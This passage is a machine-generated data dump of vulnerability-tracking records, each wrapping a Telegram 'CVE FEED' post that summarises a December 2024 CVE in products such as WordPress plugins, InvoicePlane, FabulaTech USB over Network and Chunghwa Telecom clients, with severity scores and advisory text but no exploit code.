timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:05.000000Z"}, {"uuid": "e74d2723-2b4c-4a69-a127-c82faae52819", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12422", "type": "seen", "source": "https://t.me/cvedetector/12931", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12422 - Eventbrite Import Events for WordPress Reflected Cross-Site Scripting (XSS)\", \n  \"Content\": \"CVE ID : CVE-2024-12422 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The Import Eventbrite Events plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'page' parameter in all versions up to, and including, 1.7.4 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:04.000000Z"}, {"uuid": "94cabad7-0d81-49bf-a111-92d5b411b4f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12687", "type": "seen", "source": "https://t.me/cvedetector/13038", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12687 - PlexTrac Deserialization of Untrusted Data Arbitrary File Write\", \n  \"Content\": \"CVE ID : CVE-2024-12687 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : Deserialization of Untrusted Data vulnerability in PlexTrac (Runbooks modules) which allows Object Injection and arbitrary file writes. \n \nThis issue affects PlexTrac: from 1.61.3 before 2.8.1. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:13.000000Z"}, {"uuid": "7a92f86e-445a-4575-9387-6c27c47053f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12667", "type": "seen", "source": "https://t.me/cvedetector/13037", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12667 - InvoicePlane Remote Session Expiration Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12667 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1 and classified as problematic. Affected by this issue is some unknown functionality of the file /invoices/view. The manipulation leads to session expiration. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 3.7 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:12.000000Z"}, {"uuid": "7c9ea4ec-d2d0-47b9-ba18-e78ba957d46c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12666", "type": "seen", "source": "https://t.me/cvedetector/13036", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12666 - ClassCMS Remote Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12666 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability has been found in ClassCMS up to 4.8 and classified as critical. Affected by this vulnerability is an unknown functionality of the file /admin?do=admin:user:editPost of the component User Management Page. The manipulation leads to improper handling of insufficient privileges. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. \nSeverity: 4.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:09.000000Z"}, {"uuid": "12a8aaa3-e2ee-4b86-8017-d6aa19da6662", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12665", "type": "seen", "source": "https://t.me/cvedetector/13035", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12665 - Ruifang-tech Rebuild Cross-Site Scripting Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12665 \nPublished : Dec. 16, 2024, 8:15 p.m. | 17\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in ruifang-tech Rebuild 3.8.5. Affected is an unknown function of the component Task Comment Attachment Upload. The manipulation leads to cross site scripting. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 3.5 | LOW \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T21:33:08.000000Z"}, {"uuid": "bd246f34-272f-4e8a-ac39-b1eceda94596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12662", "type": "seen", "source": "https://t.me/cvedetector/13029", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12662 - IObit Advanced SystemCare Utimate Ioctl Handler Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12662 \nPublished : Dec. 16, 2024, 7:15 p.m. | 27\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in IObit Advanced SystemCare Utimate up to 17.0.0. This affects the function 0x8001E040 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T20:42:55.000000Z"}, {"uuid": "4769b406-9a3c-40f5-bdc7-63fd3dffe26f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12448", "type": "seen", "source": "https://t.me/cvedetector/12919", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12448 - WooCommerce Posts and Products Views Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12448 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Posts and Products Views for WooCommerce plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'papvfwc_views' shortcode in all versions up to, and including, 2.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T06:49:45.000000Z"}, {"uuid": "66acea7a-1ada-419c-8a9b-55fd08eed99d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12657", "type": "seen", "source": "https://t.me/cvedetector/13021", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12657 - IObit Advanced SystemCare Utimate Local Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12657 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability has been found in IObit Advanced SystemCare Utimate up to 17.0.0 and classified as problematic. This vulnerability affects the function 0x8001E000 in the library AscRegistryFilter.sys of the component IOCTL Handler. The manipulation leads to null pointer dereference. An attack has to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:40.000000Z"}, {"uuid": "941b06d1-378d-4cb8-80dc-760b2747ac0d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12656", "type": "seen", "source": "https://t.me/cvedetector/13020", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12656 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12656 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, was found in FabulaTech USB over Network 6.0.6.1. This affects the function 0x220448 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. The attack needs to be approached locally. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:36.000000Z"}, {"uuid": "2e590a98-8553-4811-b7cb-11f687250dac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12655", "type": "seen", "source": "https://t.me/cvedetector/13019", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12655 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12655 \nPublished : Dec. 16, 2024, 5:15 p.m. | 40\u00a0minutes ago \nDescription : A vulnerability, which was classified as problematic, has been found in FabulaTech USB over Network 6.0.6.1. Affected by this issue is the function 0x220420 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. It is possible to launch the attack on the local host. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T19:02:36.000000Z"}, {"uuid": "275ff943-b9d7-4e0f-9a28-db7d1636cf3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12654", "type": "seen", "source": "https://t.me/cvedetector/13015", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12654 - FabulaTech USB over Network Null Pointer Dereference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12654 \nPublished : Dec. 16, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic was found in FabulaTech USB over Network 6.0.6.1. Affected by this vulnerability is the function 0x220408 in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Attacking locally is a requirement. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T18:11:21.000000Z"}, {"uuid": "433a1140-7149-4377-a933-d8346192d483", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12653", "type": "seen", "source": "https://t.me/cvedetector/13014", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12653 - FabulaTech USB over Network Null Pointer Dereference\", \n  \"Content\": \"CVE ID : CVE-2024-12653 \nPublished : Dec. 16, 2024, 4:15 p.m. | 42\u00a0minutes ago \nDescription : A vulnerability classified as problematic has been found in FabulaTech USB over Network 6.0.6.1. Affected is the function 0x22040C in the library ftusbbus2.sys of the component IOCT Handler. The manipulation leads to null pointer dereference. Local access is required to approach this attack. The exploit has been disclosed to the public and may be used. The vendor was contacted early about this disclosure but did not respond in any way. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T18:11:17.000000Z"}, {"uuid": "694cdae6-8f6d-44bb-9624-291763b78a31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12603", "type": "seen", "source": "https://t.me/cvedetector/12818", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12603 - AppLock Logic Flaw Allows Password Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-12603 \nPublished : Dec. 13, 2024, 3:15 a.m. | 38\u00a0minutes ago \nDescription : A logic vulnerability in the the mobile application (com.transsion.applock) can lead to bypassing the application password. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T04:53:40.000000Z"}, {"uuid": "ef178b56-44f3-4117-8e21-c40da91620b5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12478", "type": "seen", "source": "https://t.me/cvedetector/12979", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12478 - InvoicePlane Remote Unrestricted File Upload Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12478 \nPublished : Dec. 16, 2024, 11:15 a.m. | 40\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1. It has been declared as critical. This vulnerability affects the function upload_file of the file /index.php/upload/upload_file/1/1. The manipulation of the argument file leads to unrestricted upload. The attack can be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T13:09:40.000000Z"}, {"uuid": "23c778ff-668c-4a1f-b9ab-89ece3276758", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12362", "type": "seen", "source": "https://t.me/cvedetector/12978", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12362 - InvoicePlane Path Traversal Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12362 \nPublished : Dec. 16, 2024, 10:15 a.m. | 41\u00a0minutes ago \nDescription : A vulnerability was found in InvoicePlane up to 1.6.1. It has been classified as problematic. This affects the function download of the file invoices.php. The manipulation of the argument invoice leads to path traversal. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 1.6.2-beta-1 is able to address this issue. It is recommended to upgrade the affected component. The vendor was contacted early, responded in a very professional manner and quickly released a fixed version of the affected product. \nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T12:19:30.000000Z"}, {"uuid": "68fa9736-5a97-4db0-bd58-584e662cb83e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12072", "type": "seen", "source": "https://t.me/cvedetector/12730", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12072 - Google Analytics Made Easy XSS Reflection in Analytics Cat for WordPress\", \n  \"Content\": \"CVE ID : CVE-2024-12072 \nPublished : Dec. 12, 2024, 6:15 a.m. | 42\u00a0minutes ago \nDescription : The Analytics Cat \u2013 Google Analytics Made Easy plugin for WordPress is vulnerable to Reflected Cross-Site Scripting due to the use of add_query_arg without appropriate escaping on the URL in all versions up to, and including, 1.1.2. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute if they can successfully trick a user into performing an action, such as clicking on a specially crafted link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"12 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-12T07:58:30.000000Z"}, {"uuid": "91b1c21b-2537-47bf-b733-fc753f0fc08a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12641", "type": "seen", "source": "https://t.me/cvedetector/12974", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12641 - Chunghwa Telecom TenderDocTransfer Cross-Site Scripting (XSS) and Command Injection\", \n  \"Content\": \"CVE ID : CVE-2024-12641 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : TenderDocTransfer from Chunghwa Telecom has a Reflected Cross-site scripting vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use specific APIs through phishing to execute arbitrary JavaScript code in the user\u2019s browser. Since the web server set by the application supports Node.Js features, attackers can further leverage this to run OS commands. \nSeverity: 9.6 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:56.000000Z"}, {"uuid": "457e7959-7d0a-49e6-8bbc-5becb4532dd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12646", "type": "seen", "source": "https://t.me/cvedetector/12973", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12646 - Chunghwa Telecom Topm-Client Absolute Path Traversal/CSRF ACK\", \n  \"Content\": \"CVE ID : CVE-2024-12646 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The topm-client from Chunghwa Telecom has an Arbitrary File Delete vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection in the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains an Absolute Path Traversal vulnerability, allowing attackers to delete arbitrary files on the user's system. \nSeverity: 8.1 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:56.000000Z"}, {"uuid": "17aa09af-8dd2-415d-b27b-a6ad7ef8e760", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12645", "type": "seen", "source": "https://t.me/cvedetector/12972", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12645 - Chunghwa Telecom Topm-Client Arbitrary File Read and CSRF Weakness Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12645 \nPublished : Dec. 16, 2024, 7:15 a.m. | 34\u00a0minutes ago \nDescription : The topm-client from Chunghwa Telecom has an Arbitrary File Read vulnerability. The application sets up a simple local web server and provides APIs for communication with the target website. Due to the lack of CSRF protection for the APIs, unauthenticated remote attackers could use these APIs through phishing. Additionally, one of the APIs contains a Relative Path Traversal vulnerability, allowing attackers to read arbitrary files on the user's system. \nSeverity: 6.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-16T08:58:55.000000Z"}, {"uuid": "5f505a0a-6e8f-4f4c-9d22-c6ffb35e6f74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12042", "type": "seen", "source": "https://t.me/cvedetector/12845", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12042 - WordPress MStore Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12042 \nPublished : Dec. 13, 2024, 9:15 a.m. | 20\u00a0minutes ago \nDescription : The MStore API \u2013 Create Native Android & iOS Apps On The Cloud plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the profile picture upload functionality in all versions up to, and including, 4.16.4 due to insufficient file type validation. This makes it possible for authenticated attackers, with subscriber-level access and above, to upload HTML files with arbitrary web scripts that will execute whenever a user accesses the file. \nSeverity: 5.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"13 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-13T10:45:09.000000Z"}, {"uuid": "c07c770f-d91f-4e37-afe9-3a33a6267f02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12294", "type": "seen", "source": "https://t.me/cvedetector/12629", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12294 - WordPress WPBeginner Sensitive Information Exposure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12294 \nPublished : Dec. 11, 2024, 11:15 a.m. | 20\u00a0minutes ago \nDescription : The Last Viewed Posts by WPBeginner plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.1 via the 'get_legacy_cookies' function. This makes it possible for unauthenticated attackers to extract sensitive data including titles and permalinks of private, password-protected, pending, and draft posts. \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"11 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-11T12:43:59.000000Z"}, {"uuid": "c8ef5c8f-14ff-4319-bbb7-dc00408bafe3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12446", "type": "seen", "source": "https://t.me/cvedetector/12936", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12446 - \"WordPress Post to Pdf Stored Cross-Site Scripting Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-12446 \nPublished : Dec. 14, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : The Post to Pdf plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gmptp_single_post' shortcode in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T09:20:24.000000Z"}, {"uuid": "c435ee6c-7055-4074-bd43-49feda1963e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12628", "type": "seen", "source": "https://t.me/cvedetector/12935", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12628 - WordPress Easy Cache Plugin Stored XSS Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12628 \nPublished : Dec. 14, 2024, 7:15 a.m. | 39\u00a0minutes ago \nDescription : The bodi0`s Easy cache plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'cache-folder' parameter in all versions up to, and including, 0.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T09:20:23.000000Z"}, {"uuid": "3838b939-fc4e-404c-9cd6-8f4c637e0e11", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12474", "type": "seen", "source": "https://t.me/cvedetector/12929", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12474 - WordPress GeoDataSource Country Region DropDown Stored Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2024-12474 \nPublished : Dec. 14, 2024, 6:15 a.m. | 16\u00a0minutes ago \nDescription : The GeoDataSource Country Region DropDown plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'gds-country-dropdown' shortcode in all versions up to, and including, 1.0.1 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. \nSeverity: 6.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Dec 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-12-14T07:40:02.000000Z"}, {"uuid": "26e94a9e-549c-4ad3-b09a-8d039fd818b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12447", "type": "seen", "source": "https://t.me/cvedetector/12918", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-12447 - WordPress Get Post Content Shortcode Insecure Direct Object Reference Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-12447 \nPublished : Dec. 14, 2024, 5:15 a.m. | 27\u00a0minutes ago \nDescription : The Get Post Content Shortcode plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 0.4 via the 'post-content' shortcode due to missing validation on a user controlled key. This makes it possible for authenticated attackers, with Contributor-level access and above, to read the content of password-protected, private, draft, and pending posts. \nSeverity: 4.3 | 